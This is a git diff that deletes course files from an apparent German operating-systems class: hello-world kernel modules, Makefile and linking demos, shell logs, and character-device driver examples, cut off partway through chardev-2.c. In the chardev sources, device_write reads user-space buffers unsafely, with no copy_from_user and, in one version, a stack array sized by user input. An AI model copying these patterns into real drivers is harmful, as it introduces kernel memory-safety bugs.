index a2bb30b1329f9a2997a2d6164631618635f41f4c..0000000000000000000000000000000000000000
--- a/20210430/hellomod-2.c
+++ /dev/null
@@ -1,22 +0,0 @@
-/*  
- *  hello-2.c - The simplest kernel module.
- */
-#include <linux/module.h>	/* Needed by all modules */
-#include <linux/kernel.h>	/* Needed for KERN_INFO */
-
-MODULE_LICENSE("GPL");
-
-int init_module(void)
-{
-	printk(KERN_INFO "Hello world 2.\n");
-
-	/* 
-	 * A non 0 return means init_module failed; module can't be loaded. 
-	 */
-	return 0;
-}
-
-void cleanup_module(void)
-{
-	printk(KERN_INFO "Goodbye world 2.\n");
-}
diff --git a/20210430/make-1.txt b/20210430/make-1.txt
deleted file mode 100644
index 56706abfce4ed9ae3aa8afaabd620525e2fb9f20..0000000000000000000000000000000000000000
--- a/20210430/make-1.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> cat Makefile
-hello-3: hello-3.c
-        gcc -Wall -O hello-3.c -o hello-3
-cassini/home/peter/bo/2021ss/bs/20210430> cat hello-3.c
-#include <stdio.h>
-
-int main (void)
-{
-  printf ("Hello, world!\n");
-  return 0;
-}
-cassini/home/peter/bo/2021ss/bs/20210430> make
-gcc -Wall -O hello-3.c -o hello-3
-cassini/home/peter/bo/2021ss/bs/20210430> ./hello-3
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210430> make
-make: „hello-3“ ist bereits aktuell.
-cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c
-cassini/home/peter/bo/2021ss/bs/20210430> ls -lrt
-insgesamt 1120
--rw-r--r-- 1 peter peter 1048576 Okt 22  2013 freedos.hd
--rw-r--r-- 1 peter peter    4069 Apr  4  2014 chardev-1.c
--rw-r--r-- 1 peter peter     390 Apr  4  2014 hellomod-1.c
--rw-r--r-- 1 peter peter    4659 Mai  5  2017 chardev-2.c
--rw-r--r-- 1 peter peter     414 Apr 26  2019 hellomod-2.c
--rw-r--r-- 1 peter peter    4997 Apr 26  2019 chardev-3.c
--rw-r--r-- 1 peter peter     230 Apr 30 12:06 SCRATCH
--rw-r--r-- 1 peter peter     210 Apr 30 12:25 nix-hello.c
--rw-r--r-- 1 peter peter     185 Apr 30 12:33 hello-1.c
--rw-r--r-- 1 peter peter     143 Apr 30 12:36 hello-2.c
--rwxr-xr-x 1 peter peter   16608 Apr 30 12:40 a.out
--rw-r--r-- 1 peter peter     208 Apr 30 12:52 Makefile-1
--rw-r--r-- 1 peter peter      54 Apr 30 12:55 Makefile
--rwxr-xr-x 1 peter peter   16608 Apr 30 12:55 hello-3
--rw-r--r-- 1 peter peter      82 Apr 30 12:56 hello-3.c
-cassini/home/peter/bo/2021ss/bs/20210430> make
-gcc -Wall -O hello-3.c -o hello-3
-cassini/home/peter/bo/2021ss/bs/20210430> ./hello-3
-Hello, world!
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/make-2.txt b/20210430/make-2.txt
deleted file mode 100644
index 3f913d150da63f15b364b73e49a36d870c0690ad..0000000000000000000000000000000000000000
--- a/20210430/make-2.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-TARGET = hello-3
-CFLAGS = -Wall -O
-
-$(TARGET): hello-3.c
-        gcc $(CFLAGS) hello-3.c -o hello-3
-cassini/home/peter/bo/2021ss/bs/20210430> make
-make: „hello-3“ ist bereits aktuell.
-cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c
-cassini/home/peter/bo/2021ss/bs/20210430> make
-gcc -Wall -O hello-3.c -o hello-3
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/make-3.txt b/20210430/make-3.txt
deleted file mode 100644
index 739e3e02731ba7f5e910aadda75962f3a802a030..0000000000000000000000000000000000000000
--- a/20210430/make-3.txt
+++ /dev/null
@@ -1,9 +0,0 @@
-TARGET = hello-3
-CFLAGS = -Wall -O
-
-$(TARGET): $(TARGET).c
-        gcc $(CFLAGS) $< -o $(TARGET)
-cassini/home/peter/bo/2021ss/bs/20210430> touch hello-3.c
-cassini/home/peter/bo/2021ss/bs/20210430> make
-gcc -Wall -O hello-3.c -o hello-3
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/make-4.txt b/20210430/make-4.txt
deleted file mode 100644
index 3a4f21f40dc59736a8f9091996439a55635e6622..0000000000000000000000000000000000000000
--- a/20210430/make-4.txt
+++ /dev/null
@@ -1,26 +0,0 @@
-cassini/home/peter/bo/2020ws/hp/20201217> cat philosophy.c
-#include <stdio.h>
-#include "answer.h"
-
-int main (void)
-{
-  printf ("The answer is %d.\n", answer ());
-  return 0;
-}
-cassini/home/peter/bo/2020ws/hp/20201217> cat answer.h
-extern int answer (void);
-cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c -o philosophy
-/usr/bin/ld: /tmp/ccPlT8mv.o: in function `main':
-philosophy.c:(.text+0x5): undefined reference to `answer'
-collect2: error: ld returned 1 exit status
-cassini/home/peter/bo/2020ws/hp/20201217> cat answer.c
-#include "answer.h"
-
-int answer (void)
-{
-  return 23;
-}
-cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c answer.c -o philosophy
-cassini/home/peter/bo/2020ws/hp/20201217> ./philosophy
-The answer is 23.
-cassini/home/peter/bo/2020ws/hp/20201217>
diff --git a/20210430/make-5.txt b/20210430/make-5.txt
deleted file mode 100644
index 2bcefad9bdd3d855d3bfda6b91ab5b9b5f5c5d94..0000000000000000000000000000000000000000
--- a/20210430/make-5.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O philosophy.c -c
-cassini/home/peter/bo/2020ws/hp/20201217> ls -l philosophy*
--rwxr-xr-x 1 peter peter 16680 Apr 30 14:18 philosophy
--rw-r--r-- 1 peter peter   117 Jan  4 14:29 philosophy.c
--rw-r--r-- 1 peter peter  1632 Apr 30 14:19 philosophy.o
-cassini/home/peter/bo/2020ws/hp/20201217> gcc -Wall -O answer.c -c
-cassini/home/peter/bo/2020ws/hp/20201217> ls -l answer.*
--rw-r--r-- 1 peter peter   56 Jan  4 14:29 answer.c
--rw-r--r-- 1 peter peter   26 Jan  4 14:29 answer.h
--rw-r--r-- 1 peter peter 1208 Apr 30 14:20 answer.o
-cassini/home/peter/bo/2020ws/hp/20201217> gcc philosophy.o answer.o -o philosophy
-cassini/home/peter/bo/2020ws/hp/20201217> ./philosophy
-The answer is 23.
-cassini/home/peter/bo/2020ws/hp/20201217>
diff --git a/20210430/modules-1.txt b/20210430/modules-1.txt
deleted file mode 100644
index 073503859f3c6cf906cfa5d6f33125032b996a08..0000000000000000000000000000000000000000
--- a/20210430/modules-1.txt
+++ /dev/null
@@ -1,40 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> cat hellomod-1.c
-/*
- *  hello-1.c - The simplest kernel module.
- */
-#include <linux/module.h>       /* Needed by all modules */
-#include <linux/kernel.h>       /* Needed for KERN_INFO */
-
-int init_module(void)
-{
-        printk(KERN_INFO "Hello world 1.\n");
-
-        /*
-         * A non 0 return means init_module failed; module can't be loaded.
-         */
-        return 0;
-}
-
-void cleanup_module(void)
-{
-        printk(KERN_INFO "Goodbye world 1.\n");
-}
-cassini/home/peter/bo/2021ss/bs/20210430> cat Makefile
-obj-m = hellomod-1.o
-
-all:
-        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
-cassini/home/peter/bo/2021ss/bs/20210430> ls -lrt hellomod-1.*
--rw-r--r-- 1 peter peter    390 Apr  4  2014 hellomod-1.c
--rw-r--r-- 1 peter peter 132152 Apr 30 14:37 hellomod-1.o
--rw-r--r-- 1 peter peter    790 Apr 30 14:37 hellomod-1.mod.c
--rw-r--r-- 1 peter peter 139912 Apr 30 14:37 hellomod-1.mod.o
--rw-r--r-- 1 peter peter 270648 Apr 30 14:37 hellomod-1.ko
-cassini/home/peter/bo/2021ss/bs/20210430> insmod hellomod-1.ko
-bash: insmod: Kommando nicht gefunden.
-cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod hellomod-1.ko
-[sudo] Passwort für peter:
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/modules-2.txt b/20210430/modules-2.txt
deleted file mode 100644
index 84e1d27e124fbbdb089681a36a200e96578c5f2a..0000000000000000000000000000000000000000
--- a/20210430/modules-2.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> lsmod | head
-Module                  Size  Used by
-hellomod_1             16384  0
-v4l2loopback           45056  0
-v4l2_common            16384  1 v4l2loopback
-snd_seq_dummy          16384  0
-snd_hrtimer            16384  0
-snd_seq_midi           16384  0
-snd_seq_midi_event     16384  1 snd_seq_midi
-snd_seq                81920  3 snd_seq_midi,snd_seq_midi_event,snd_seq_dummy
-nfnetlink_queue        24576  0
diff --git a/20210430/modules-3.txt b/20210430/modules-3.txt
deleted file mode 100644
index ca94c8700124215570564875338badbd15e23d21..0000000000000000000000000000000000000000
--- a/20210430/modules-3.txt
+++ /dev/null
@@ -1,14 +0,0 @@
-cassini/home/peter/bo/2021ss/bs/20210430> lsmod | head
-Module                  Size  Used by
-hellomod_1             16384  0
-v4l2loopback           45056  0
-v4l2_common            16384  1 v4l2loopback
-snd_seq_dummy          16384  0
-snd_hrtimer            16384  0
-snd_seq_midi           16384  0
-snd_seq_midi_event     16384  1 snd_seq_midi
-snd_seq                81920  3 snd_seq_midi,snd_seq_midi_event,snd_seq_dummy
-nfnetlink_queue        24576  0
-cassini/home/peter/bo/2021ss/bs/20210430> sudo rmmod hellomod_1
-cassini/home/peter/bo/2021ss/bs/20210430> lsmod | grep hello
-cassini/home/peter/bo/2021ss/bs/20210430>
diff --git a/20210430/modules-4.txt b/20210430/modules-4.txt
deleted file mode 100644
index a9ff3a18c3e1ec936730f656d5bce2e0cb91454c..0000000000000000000000000000000000000000
--- a/20210430/modules-4.txt
+++ /dev/null
@@ -1,53 +0,0 @@
-cassini/root# tail -f /var/log/kern.log
-Apr 30 13:16:56 cassini kernel: [1241542.399747] sd 6:0:0:0: [sdb] Mode Sense: 47 00 10 08
-Apr 30 13:16:56 cassini kernel: [1241542.400038] sd 6:0:0:0: [sdb] No Caching mode page found
-Apr 30 13:16:56 cassini kernel: [1241542.400073] sd 6:0:0:0: [sdb] Assuming drive cache: write through
-Apr 30 13:16:56 cassini kernel: [1241542.459524]  sdb: sdb1
-Apr 30 13:16:56 cassini kernel: [1241542.460550] sd 6:0:0:0: [sdb] Attached SCSI disk
-Apr 30 13:17:43 cassini kernel: [1241588.936525] EXT4-fs (dm-3): mounted filesystem with ordered data mode. Opts: (null)
-Apr 30 14:43:13 cassini kernel: [1246719.130516] hellomod_1: module license 'unspecified' taints kernel.
-Apr 30 14:43:13 cassini kernel: [1246719.130518] Disabling lock debugging due to kernel taint
-Apr 30 14:43:13 cassini kernel: [1246719.132467] Hello world 1.
-Apr 30 14:44:40 cassini kernel: [1246806.404588] Goodbye world 1.
-obj-m = hellomod-1.o
-obj-m += hellomod-2.o
-
-all:
-        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
-cassini/home/peter/bo/2021ss/bs/20210430> make
-make -C /lib/modules/4.19.0-12-amd64/build M=/home/peter/bo/2021ss/bs/20210430 modules
-make[1]: Verzeichnis „/usr/src/linux-headers-4.19.0-12-amd64“ wird betreten
-  CC [M]  /home/peter/bo/2021ss/bs/20210430/hellomod-2.o
-  Building modules, stage 2.
-  MODPOST 2 modules
-WARNING: modpost: missing MODULE_LICENSE() in /home/peter/bo/2021ss/bs/20210430/hellomod-1.o
-see include/linux/module.h for more information
-  CC      /home/peter/bo/2021ss/bs/20210430/hellomod-2.mod.o
-  LD [M]  /home/peter/bo/2021ss/bs/20210430/hellomod-2.ko
-make[1]: Verzeichnis „/usr/src/linux-headers-4.19.0-12-amd64“ wird verlassen
-cassini/home/peter/bo/2021ss/bs/20210430> ls -l hellomod-2.*
--rw-r--r-- 1 peter peter    414 Apr 26  2019 hellomod-2.c
--rw-r--r-- 1 peter peter 277800 Apr 30 14:50 hellomod-2.ko
--rw-r--r-- 1 peter peter    790 Apr 30 14:50 hellomod-2.mod.c
--rw-r--r-- 1 peter peter 139912 Apr 30 14:50 hellomod-2.mod.o
--rw-r--r-- 1 peter peter 139416 Apr 30 14:50 hellomod-2.o
-cassini/home/peter/bo/2021ss/bs/20210430> sudo insmod hellomod-2.ko
-cassini/home/peter/bo/2021ss/bs/20210430> sudo rmmod hellomod-2.ko
-cassini/home/peter/bo/2021ss/bs/20210430>
-
-cassini/root# tail -f /var/log/kern.log
-Apr 30 13:16:56 cassini kernel: [1241542.399747] sd 6:0:0:0: [sdb] Mode Sense: 47 00 10 08
-Apr 30 13:16:56 cassini kernel: [1241542.400038] sd 6:0:0:0: [sdb] No Caching mode page found
-Apr 30 13:16:56 cassini kernel: [1241542.400073] sd 6:0:0:0: [sdb] Assuming drive cache: write through
-Apr 30 13:16:56 cassini kernel: [1241542.459524]  sdb: sdb1
-Apr 30 13:16:56 cassini kernel: [1241542.460550] sd 6:0:0:0: [sdb] Attached SCSI disk
-Apr 30 13:17:43 cassini kernel: [1241588.936525] EXT4-fs (dm-3): mounted filesystem with ordered data mode. Opts: (null)
-Apr 30 14:43:13 cassini kernel: [1246719.130516] hellomod_1: module license 'unspecified' taints kernel.
-Apr 30 14:43:13 cassini kernel: [1246719.130518] Disabling lock debugging due to kernel taint
-Apr 30 14:43:13 cassini kernel: [1246719.132467] Hello world 1.
-Apr 30 14:44:40 cassini kernel: [1246806.404588] Goodbye world 1.
-Apr 30 14:51:18 cassini kernel: [1247204.245245] Hello world 2.
-Apr 30 14:51:51 cassini kernel: [1247237.822197] Goodbye world 2.
diff --git a/20210430/nix-hello.c b/20210430/nix-hello.c
deleted file mode 100644
index cc2018703757a875b70c2aa3fd1a104d7e870301..0000000000000000000000000000000000000000
--- a/20210430/nix-hello.c
+++ /dev/null
@@ -1,15 +0,0 @@
-int main (void)
-{
-  char *p = (char *) 0xb8000000;
-  *p++ = 'H';
-  *p++ = 0x04;
-  *p++ = 'e';
-  *p++ = 0x02;
-  *p++ = 'l';
-  *p++ = 0x01;
-  *p++ = 'l';
-  *p++ = 0x06;
-  *p++ = 'o';
-  *p++ = 0x03;
-  return 0;
-}
diff --git a/20210507/Makefile b/20210507/Makefile
deleted file mode 120000
index 134aa0a7e9fd70818ec2dbee3f7201a161389434..0000000000000000000000000000000000000000
--- a/20210507/Makefile
+++ /dev/null
@@ -1 +0,0 @@
-Makefile-modules-2
\ No newline at end of file
diff --git a/20210507/Makefile-modules-2 b/20210507/Makefile-modules-2
deleted file mode 100644
index f9f342647e7b471ae2f4bd105c57fb54f9591136..0000000000000000000000000000000000000000
--- a/20210507/Makefile-modules-2
+++ /dev/null
@@ -1,9 +0,0 @@
-obj-m += chardev-1a.o
-obj-m += chardev-1b.o
-obj-m += chardev-3.o
-
-all:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
-
-clean:
-	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
diff --git a/20210507/attributes-1.txt b/20210507/attributes-1.txt
deleted file mode 100644
index e6fe61064d159cd088fa3039af59a7ffcf86eb78..0000000000000000000000000000000000000000
--- a/20210507/attributes-1.txt
+++ /dev/null
@@ -1,43 +0,0 @@
-crw-------  1 root  root     10, 137 Apr  6 09:59 vhci
-crw-------  1 root  root     10, 238 Apr  6 09:59 vhost-net
-crw-------  1 root  root     10, 241 Apr  6 09:59 vhost-vsock
-crw-rw----+ 1 root  video    81,   0 Mai  7 10:44 video0
-crw-rw----+ 1 root  video    81,   1 Mai  7 10:44 video1
-crw-rw----+ 1 root  video    81,   2 Apr 28 23:30 video4
-crw-------  1 root  root     10, 130 Apr  6 09:59 watchdog
-crw-------  1 root  root    248,   0 Apr  6 09:59 watchdog0
-crw-rw-rw-  1 root  root      1,   5 Apr  6 09:59 zero
-cassini/home/peter/bo/2021ss/bs/20210507> ls -l /dev/chardev
-crw------- 1 root root 241, 0 Mai  7 14:17 /dev/chardev
-cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev
-cat: /dev/chardev: Keine Berechtigung
-cassini/home/peter/bo/2021ss/bs/20210507> sudo chmod 666 /dev/chardev
-cassini/home/peter/bo/2021ss/bs/20210507> ls -l /dev/chardev
-crw-rw-rw- 1 root root 241, 0 Mai  7 14:17 /dev/chardev
-cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev
-I already told you 1 times Hello world!
-cassini/home/peter/bo/2021ss/bs/20210507> cat /dev/chardev
-I already told you 2 times Hello world!
-cassini/home/peter/bo/2021ss/bs/20210507> lsattr /dev/video0
-lsattr: Die Operation wird nicht unterstützt Beim Lesen der Flags von /dev/video0
-cassini/home/peter/bo/2021ss/bs/20210507> getfacl /dev/video0
-getfacl: Entferne führende '/' von absoluten Pfadnamen
-# file: dev/video0
-# owner: root
-# group: video
-user::rw-
-user:peter:rw-
-group::rw-
-mask::rw-
-other::---
-
-cassini/home/peter/bo/2021ss/bs/20210507> getfacl /dev/chardev
-getfacl: Entferne führende '/' von absoluten Pfadnamen
-# file: dev/chardev
-# owner: root
-# group: root
-user::rw-
-group::rw-
-other::rw-
-
-cassini/home/peter/bo/2021ss/bs/20210507>
diff --git a/20210507/bs-20210507.txt b/20210507/bs-20210507.txt
deleted file mode 100644
index cccf426e692b08140a342ad089d1ab9a69a1cab2..0000000000000000000000000000000000000000
--- a/20210507/bs-20210507.txt
+++ /dev/null
@@ -1,11 +0,0 @@
-Von der Anwendung bis zum Kernel: libc, 07.05.2021, 15:11:00
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-apt-get source libc6
-Datei: stdio-common/printf.c
-printf() ruft vfprintf() auf.
-Datei: stdio-common/vfprintf.c
-vfprintf() ruft printf_positional() auf.
-printf_positional() ruft outstring() auf.
-outstring() ist ein Präprozessor-Macro.
-outstring() ruft PUT() auf - ebenfalls ein Präprozessor-Macro.
-PUT() ruft _IO_sputn() auf. --> in anderer Datei
diff --git a/20210507/chardev-1a.c b/20210507/chardev-1a.c
deleted file mode 100644
index 291b052b8d200189cb53d09b9234c509f84771ba..0000000000000000000000000000000000000000
--- a/20210507/chardev-1a.c
+++ /dev/null
@@ -1,166 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-	printk(KERN_INFO "Got user data: %s.\n", buff);
-	return len;
-}
diff --git a/20210507/chardev-1b.c b/20210507/chardev-1b.c
deleted file mode 100644
index 574497cbdc5c931dd2f84279c200eb1c00b0ad04..0000000000000000000000000000000000000000
--- a/20210507/chardev-1b.c
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
-	 * Decrement the usage count, or else once you opened the file, you'll
-	 * never get get rid of the module. 
-	 */
-	module_put(THIS_MODULE);
-
-	return 0;
-}
-
-/* 
- * Called when a process, which already opened the dev file, attempts to
- * read from it.
- */
-static ssize_t device_read(struct file *filp,	/* see include/linux/fs.h   */
-			   char *buffer,	/* buffer to fill with data */
-			   size_t length,	/* length of the buffer     */
-			   loff_t * offset)
-{
-	/*
-	 * Number of bytes actually written to the buffer 
-	 */
-	int bytes_read = 0;
-
-	/*
-	 * If we're at the end of the message, 
-	 * return 0 signifying end of file 
-	 */
-	if (*msg_Ptr == 0)
-		return 0;
-
-	/* 
-	 * Actually put the data into the buffer 
-	 */
-	while (length && *msg_Ptr) {
-
-		/* 
-		 * The buffer is in the user data segment, not the kernel 
-		 * segment so "*" assignment won't work.  We have to use 
-		 * put_user which copies data from the kernel data segment to
-		 * the user data segment. 
-		 */
-		put_user(*(msg_Ptr++), buffer++);
-
-		length--;
-		bytes_read++;
-	}
-
-	/* 
-	 * Most read functions return the number of bytes put into the buffer
-	 */
-	return bytes_read;
-}
-
-/*  
- * Called when a process writes to dev file: echo "hi" > /dev/hello 
- */
-static ssize_t
-device_write(struct file *filp, const char *buff, size_t len, loff_t * off)
-{
-        char b[len + 1];
-        strncpy (b, buff, len);
-        b[len] = 0;
-	printk(KERN_INFO "Got user data: %s.\n", b);
-	return len;
-}
diff --git a/20210507/chardev-2.c b/20210507/chardev-2.c
deleted file mode 100644
index 54b8e3f30a580c7896ea18a0e4358059a6c03a48..0000000000000000000000000000000000000000
--- a/20210507/chardev-2.c
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- *  chardev.c: Creates a read-only char device that says how many times
- *  you've read from the dev file
- */
-
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/device.h>
-#include <linux/fs.h>
-#include <asm/uaccess.h>	/* for put_user */
-
-/*  
- *  Prototypes - this would normally go in a .h file
- */
-int init_module(void);
-void cleanup_module(void);
-static int device_open(struct inode *, struct file *);
-static int device_release(struct inode *, struct file *);
-static ssize_t device_read(struct file *, char *, size_t, loff_t *);
-static ssize_t device_write(struct file *, const char *, size_t, loff_t *);
-
-struct class *dev_Class;
-struct device *chr_dev;
-
-#define SUCCESS 0
-#define DEVICE_NAME "chardev"	/* Dev name as it appears in /proc/devices   */
-#define BUF_LEN 80		/* Max length of the message from the device */
-
-/* 
- * Global variables are declared as static, so are global within the file. 
- */
-
-static int Major;		/* Major number assigned to our device driver */
-static int Device_Open = 0;	/* Is device open?  
-				 * Used to prevent multiple access to device */
-static char msg[BUF_LEN];	/* The msg the device will give when asked */
-static char *msg_Ptr;
-
-static struct file_operations fops = {
-	.read = device_read,
-	.write = device_write,
-	.open = device_open,
-	.release = device_release
-};
-
-/*
- * This function is called when the module is loaded
- */
-int init_module(void)
-{
-        Major = register_chrdev(0, DEVICE_NAME, &fops);
-
-	if (Major < 0) {
-	  printk(KERN_ALERT "Registering char device failed with %d\n", Major);
-	  return Major;
-	}
-
-        // Create module class
-        printk(KERN_INFO "Creating device class LCD...\n");
-        dev_Class = class_create(THIS_MODULE,DEVICE_NAME);
-        if( dev_Class == NULL)
-        {
-            printk( KERN_ALERT "Error! Class couldn't be created!\n" );
-            return 1 ;
-        }
-        printk( KERN_INFO "Class created!\n" );
-        // Create device in /dev/...
-        printk(KERN_INFO "Creating device\n");
-        chr_dev = device_create(dev_Class, NULL, MKDEV(Major,0), NULL, DEVICE_NAME);
-
-	printk(KERN_INFO "I was assigned major number %d. To talk to\n", Major);
-	printk(KERN_INFO "the driver, create a dev file with\n");
-	printk(KERN_INFO "'mknod /dev/%s c %d 0'.\n", DEVICE_NAME, Major);
-	printk(KERN_INFO "Try various minor numbers. Try to cat and echo to\n");
-	printk(KERN_INFO "the device file.\n");
-	printk(KERN_INFO "Remove the device file and module when done.\n");
-
-	return SUCCESS;
-}
-
-/*
- * This function is called when the module is unloaded
- */
-void cleanup_module(void)
-{
-	/* 
-	 * Unregister the device 
-	 */
-	unregister_chrdev(Major, DEVICE_NAME);
-}
-
-/*
- * Methods
- */
-
-/* 
- * Called when a process tries to open the device file, like
- * "cat /dev/mycharfile"
- */
-static int device_open(struct inode *inode, struct file *file)
-{
-	static int counter = 0;
-
-	if (Device_Open)
-		return -EBUSY;
-
-	Device_Open++;
-	sprintf(msg, "I already told you %d times Hello world!\n", counter++);
-	msg_Ptr = msg;
-	try_module_get(THIS_MODULE);
-
-	return SUCCESS;
-}
-
-/* 
- * Called when a process closes the device file.
- */
-static int device_release(struct inode *inode, struct file *file)
-{
-	Device_Open--;		/* We're now ready for our next caller */
-
-	/* 
